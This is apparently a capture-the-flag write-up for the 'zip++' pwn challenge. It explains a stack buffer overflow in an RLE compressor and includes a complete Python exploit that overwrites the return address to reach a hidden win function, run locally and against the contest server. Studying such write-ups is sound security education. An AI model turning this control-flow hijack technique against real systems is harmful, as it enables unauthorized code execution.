Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnMedium

Zip++

CTF writeup for Zip++ from Securinets

//zip++ (PWN) Writeup

>Challenge Overview

  • Service: nc pwn-14caf623.p1.securinets.tn 9000

  • Binary: main (64-bit ELF, dynamically linked, NX enabled, non-PIE)

  • Goal: Trigger the hidden win routine to execute system("cat flag.txt").

>Initial Recon

  1. Identify the binary type:

   ```bash

   file main

   ```

   Result: 64-bit LSB executable, dynamically linked, not stripped.

  1. Dump useful strings:

   ```bash

   strings -n 4 main | grep -i "flag"

   ```

   Output revealed the exact command cat flag.txt, hinting at a system call.

  1. Disassemble the binary (objdump -d main) to recover the core routines:

   - setup: standard I/O tweaks via setbuf.

   - compress: suspicious RLE compressor.

   - vuln: reads up to 0x300 bytes, calls compress, prints the encoded buffer, loops unless input starts with exit.

   - win: wraps system("cat flag.txt").

>Vulnerability Analysis

Buffer Layout

vuln allocates two stack buffers:

  • input[0x300] at rbp-0x610

  • output[0x300] at rbp-0x310

compress(src, length, dst) RLE-encodes the client data: each run emits two bytes (value + count). The bug: compress writes at most 2 * length bytes into dst, but dst is only 0x300 bytes wide. With carefully chosen input, the run-length format overflows output, smashing saved rbp and the return address of vuln.

Offsets

From the disassembly:

  • Saved rbp sits at rbp-0x8

  • Return address sits immediately after saved rbp

  • Both end up inside the overflowed region at offsets 0x310 and 0x318 relative to dst

Therefore, we need 0x310 bytes to reach saved rbp, then 8 bytes for it, then 8 bytes for the return address.

>Crafting the Payload

Strategy

  1. Produce an input whose compression output is mostly harmless two-byte pairs (value, 1). This keeps control of the total size.

  2. Flip the final runs so their counts exceed 1, forcing bigger chunks into the encoded stream and aligning overwrites on saved rbp and the return address.

  3. Overwrite the return pointer with an address inside win after its prologue to avoid stack corruption. The chosen target: 0x4011a9, right before the lea that prepares "cat flag.txt".

Calculations

  • Need 0x310 (= 784) bytes before saved rbp; each run contributes two bytes.

  • Alternate bytes (0x30, 0x31) with run-length 1 for the first 392 runs (392 * 2 = 784 bytes).

  • Following runs inject the new rbp bytes (0x42, 0x43, 0x44, 0x45) with counts carefully chosen so compressed output places them at the right slots.

  • Final run writes 0xA9 repeated 17 times; compressed output ends with 0xA9 0x11. Interpreted little-endian, the trailing eight bytes form 0x00000000004011a9.

>Exploit Script

The exploit performs the following steps:

  1. Build the crafted payload.

  2. (Optional) Run locally to confirm the win path executes.

  3. Connect to the remote service, send the payload, then send exit to exit the loop and trigger the overwritten return.

Full script (001.zippp_exploit.py):

python

#!/usr/bin/env python3

"""zip++ exploit helper."""

  

import argparse

import os

import select

import socket

import subprocess

import time

from pathlib import Path

  

BINARY = Path(__file__).resolve().parent / "main"

  

SEP = "=" * 64

  
  

def log(msg: str) -> None:

    print(f"🔥 {msg}")

  
  

def build_payload() -> bytes:

    log("Building overflow payload 🧱")

    payload = bytearray()

  

    # Runs 0..391: alternate bytes to keep run length 1 each.

    for i in range(392):

        payload.append(0x30 if i % 2 == 0 else 0x31)

  

    def extend_with(byte_value: int, count: int) -> None:

        log(f"Adding run: byte=0x{byte_value:02x}, count={count}")

        payload.extend([byte_value] * count)

  

    # Runs 392-395: craft saved rbp bytes

    extend_with(0x42, 0x42)

    extend_with(0x43, 0x43)

    extend_with(0x44, 0x44)

    extend_with(0x45, 0x45)

  

    # Run 396: overwrite return address -> jump inside win()

    extend_with(0xA9, 0x11)

  

    log(f"Total payload length: {len(payload)} bytes")

    if len(payload) > 0x300:

        raise ValueError("Payload longer than 0x300 bytes; adjust counts")

    print(SEP)

    return bytes(payload)

  
  

def run_local(payload: bytes) -> None:

    log("Launching local binary 🧪")

    proc = subprocess.Popen(

        [str(BINARY)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT

    )

    assert proc.stdin is not None

    assert proc.stdout is not None

  

    log("Sending overflow payload 🚀")

    proc.stdin.write(payload)

    proc.stdin.flush()

    _drain_output(proc.stdout, 1.0)

  

    log("Triggering exit to land in win() 🎯")

    proc.stdin.write(b"exit")

    proc.stdin.flush()

    proc.stdin.close()

  

    _drain_output(proc.stdout, 3.0)

  

    try:

        proc.wait(timeout=2.0)

    except subprocess.TimeoutExpired:

        proc.terminate()

  

    leftover = proc.stdout.read()

    if leftover:

        print(leftover.decode(errors="ignore"), end="")

  

    log(f"Local process return code: {proc.returncode}")

    print(SEP)

  
  

def _drain_output(stream, duration: float) -> None:

    deadline = time.time() + duration

    fd = stream.fileno()

    collected = bytearray()

    while time.time() < deadline:

        timeout = max(0.0, deadline - time.time())

        readable, _, _ = select.select([fd], [], [], timeout)

        if not readable:

            break

        chunk = os.read(fd, 4096)

        if not chunk:

            break

        collected.extend(chunk)

    if collected:

        print(collected.decode(errors="ignore"), end="")

  
  

def run_remote(payload: bytes, host: str, port: int) -> None:

    log(f"Connecting to remote {host}:{port} 🌐")

    with socket.create_connection((host, port)) as sock:

        sock.settimeout(2.0)

  

        banner = _recv_until(sock, b"data to compress : ")

        if banner:

            print(banner.decode(errors="ignore"), end="")

  

        log("Sending overflow payload 🚀")

        sock.sendall(payload)

        response = _recv_until(sock, b"data to compress : ")

        if response:

            print(response.decode(errors="ignore"), end="")

  

        log("Triggering exit to land in win() 🎯")

        sock.sendall(b"exit\n")

  

        collected = bytearray()

        idle = 0

        while True:

            try:

                chunk = sock.recv(65535)

                if not chunk:

                    break

                collected.extend(chunk)

                idle = 0

            except socket.timeout:

                idle += 1

                if idle >= 5:

                    break

  

        if collected:

            print(collected.decode(errors="ignore"), end="")

    print(SEP)

  
  

def _recv_until(sock: socket.socket, marker: bytes) -> bytes:

    data = bytearray()

    try:

        while marker not in data:

            chunk = sock.recv(4096)

            if not chunk:

                break

            data.extend(chunk)

    except socket.timeout:

        pass

    return bytes(data)

  
  

def main() -> None:

    parser = argparse.ArgumentParser(description="Exploit zip++")

    parser.add_argument("action", choices=["local", "remote"], help="where to trigger the exploit")

    parser.add_argument("--host", default="pwn-14caf623.p1.securinets.tn")

    parser.add_argument("--port", type=int, default=9000)

    args = parser.parse_args()

  

    payload = build_payload()

  

    if args.action == "local":

        run_local(payload)

    else:

        run_remote(payload, args.host, args.port)

  
  

if __name__ == "__main__":

    main()

>Local Verification

bash

python3 001.zippp_exploit.py local

Key output:

🔥 Triggering exit to land in win() 🎯 Securinets{flag} 🔥 Local process return code: 0

The local flag.txt is a decoy (Securinets{flag}), confirming the control-flow hijack.

>Remote Exploit

bash

python3 001.zippp_exploit.py remote

Remote service response:

Securinets{my_zip_doesnt_zip}

>Flag

Securinets{my_zip_doesnt_zip}

>Lessons Learned

  • Always validate compressor output size vs destination buffer size; RLE outputs can double input length.

  • When returning into functions that set up their own frame, pivot into a safe instruction (e.g., lea inside win) to avoid unintended stack adjustments.

  • Automating I/O interactions with helpers (_recv_until, _drain_output) keeps exploit development deterministic and repeatable.